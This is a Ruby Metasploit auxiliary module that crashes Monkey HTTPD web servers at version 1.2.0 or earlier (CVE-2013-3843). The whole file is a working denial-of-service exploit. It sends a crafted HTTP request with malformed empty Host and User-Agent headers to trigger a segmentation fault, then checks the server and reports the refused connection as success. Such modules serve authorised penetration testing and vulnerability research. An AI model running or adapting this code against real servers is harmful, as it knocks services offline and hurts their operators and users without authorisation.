## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Name' => 'Monkey HTTPD Header Parsing Denial of Service (DoS)', 'Description' => %q{ This module causes improper header parsing that leads to a segmentation fault due to a specially crafted HTTP request. Affects version <= 1.2.0. }, 'Author' => [ 'Doug Prostko ' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2013-3843'], ['OSVDB', '93853'], ['BID', '60333'] ], 'DisclosureDate' => 'May 30 2013')) register_options( [ Opt::RPORT(2001) ]) end def dos req = "GET / HTTP/1.1\r\n" req << "Host:\r\n\r\nlocalhost\r\n" req << "User-Agent:\r\n\r\n" connect sock.put(req) disconnect end def is_alive? begin connect rescue Rex::ConnectionRefused return false ensure disconnect end true end def run print_status("#{rhost}:#{rport} - Sending DoS packet...") dos print_status("#{rhost}:#{rport} - Checking server status...") select(nil, nil, nil, 1) if is_alive? print_error("#{rhost}:#{rport} - Server is still alive") else print_good("#{rhost}:#{rport} - Connection Refused: Success!") end end end